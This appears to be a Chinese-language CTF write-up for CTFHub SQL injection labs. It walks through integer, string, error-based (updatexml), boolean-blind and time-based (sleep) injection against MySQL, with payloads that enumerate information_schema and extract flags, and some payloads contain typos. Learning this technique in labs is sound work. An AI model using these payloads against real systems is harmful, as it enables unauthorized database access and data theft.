一、整数型注入
1.判断是否存在注入:
加单引号id=1’
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
加and 1=1
id=1 and 1=1
id=3’ and 1=1 语句执行正常,与原始页面如任何差异;
加and 1=2id=1 and 1=2
对应的sql:select * from table where id=3 and 1=2
语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。
1.获取数据库
select * from news where id=-1 union select 1,database()
ID: 1
Data: sqli
2.获取数据库中的表
select * from news where id=-1 union select 1,group_concat(table_name)from information_schema.tables
ID: 1
Data: information_schema,mysql,performance_schema,sqli
3.根据 information_schema.tables 和 已知的数据库名sqli爆表名
select * from news where id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema="sqli"
ID: 1
Data: news,flag
4.找flag下的表
select * from news where id=-1 union select 1,group_concat(column_name)from information_schema.columns where table_name="flag" and table_schema="sqli"
ID: 1
Data: flag
5.得到flag
select * from news where id=4 union select 3,group_concat(flag) from sqli.flag
二、字符型注入
1.获取数据库
select * from news where id='-1' union select 1,database()#'
ID: 1
Data: sqli
2.获取数据库中的表
select * from news where id='-1' union select 1,group_concat(table_name)from information_schema.tables#''
ID: 1
Data:太多了
3.获取表中的数据
select * from news where id='-1' union select 1,group_concat(table_name)from information_schema.tables where table_schema="sqli"#'
ID: 1
Data: news,flag
4.找flag下的表
select * from news where id='-1' union select 1,group_concat(column_name)from information_schema.columns where table_schema="sqli" and table_name="flag"#'
ID: 1
Data: flag
5.得到flag
select * from news where id='-1' union select 1,group_concat(flag)flag from flag#'
ID: 1
Data: ctfhub{dab9576ff746287365714b44}
三、报错注入
1.爆当前数据库
select * from news where id=1 union select updatexml(1,concat(0x7e,datebase(),0x7e),1)
查询错误: FUNCTION sqli.datebase does not exist
2.爆所有数据库
1 union select updatexml(1,concat(0x7e, (select(group_concat(schema_name))from information_schema.schemata),0x7e),1); #
select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(schema_name))from information_schema.schemata),0x7e),1); #
查询错误: XPATH syntax error: ‘~information_schema,performance_’
回显所有数据库的部分,发现没有回显sqli的名字,所以肯定是回显的长度受限,之前用到过,substr,left ,mid ,和right函数
3.爆右边的31个字符,发现了重叠
select * from news where id=1 union select updatexml(1,concat(0x7e,right((select(group_concat(schema_name))from information_schema.schemata),31 ),0x7e),1); #
查询错误: XPATH syntax error: ‘~a,performance_schema,mysql,sqli’
4.爆表
select * from news where id=1 union select updatexml(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schema="sqli"),0x7e),1)
查询错误: XPATH syntax error: ‘news,flag’
5.爆列名
select * from news where id=1 union select updatexml(1,concat(0x7e,(select(group_concat(column_name))from information_schema.columns where table_name="flag"),0x7e),1)
查询错误: XPATH syntax error: ‘flag’
6.报内容
1 union select updatexml(1,concat(0x7e,(select(group_concat(flag)) from sqli.flag),0x7e),1)
1 union select updatexml(1,concat(0x7e,right((select(group_concat(flag)) from sqli.flag),31),0x7e),1)
ctfhub{6c9019f58a83f18be302a37a}
tfhub{6c9019f58a83f18be302a37a}’
四、布尔盲注
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息
ascii() 函数,返回字符ascii码值
参数 : str单字符
length() 函数,返回字符串的长度
参数 : str 字符串
left() 函数,返回从左至右截取固定长度的字符串
参数str,length
str : 字符串
length:截取长度
substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串
参数,str,pos,length
str: 字符串
pos:开始位置
length: 截取长度
注入流程
求当前数据库长度
求当前数据库表的ASCII
求当前数据库中表的个数
求当前数据库中其中一个表名的长度
求当前数据库中其中一个表名的ASCII
求列名的数量
求列名的长度
求列名的ASCII
求字段的数量
求字段内容的长度
求字段内容对应的ASCII
可使用burpsuite进行暴力破解
1.数据库长度
1 and(length(database()))=4
2.猜数据库名称
1 and ascii(substr(database(),1,1))=115//第一个字母为s
1 and ascii(substr(database(),2,1))=112//
……sqli
3.数据库中表的数量
1 and (select count(table_name) from information_schema.tables where table_schema=database())=2
4.第一张表的名称
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))>100
……news
5.第二张表的名字
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>100
……flag
6.flag的字段数
1 and (select count(column_name) from information_schema.columns where table_name='flag')=1
7.字段名称
1 and ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))>100
……flag
8.猜flag
1 and ascii(substr((select *from sqli.flag where id=1),1,1))>110
……
五、时间注入
1.猜数据库长度
1 and if(length(database())=4,sleep(3),1)
2猜数据库名称
1 and if(ascii(substr(database(),1,1))=115,sleep(3),1)
1 and if(ascii(substr(database(),2,1))=113,sleep(3),1)
……sqli
3.猜数据库中表的数量
1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(3),1)
4.猜第一个表字符
1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110,sleep(3),1)
1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=110,sleep(3),1)
……news
5猜第二个表字符
1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=110,sleep(3),1)
6.猜flag的表字段名
1 and if(ascii(substr((select column_name form information_schema.columns where table_name=‘flag’),1,1))=110,sleep(3),1)
……flag
7.flag
1 and if(ascii(substr((select *from sqli.flag where id=1),1,1))<110,sleep(3),1)
六、cookic注入,UA注入,refer注入
与上述数字型注入类似,即需要burp抓包对数据修改。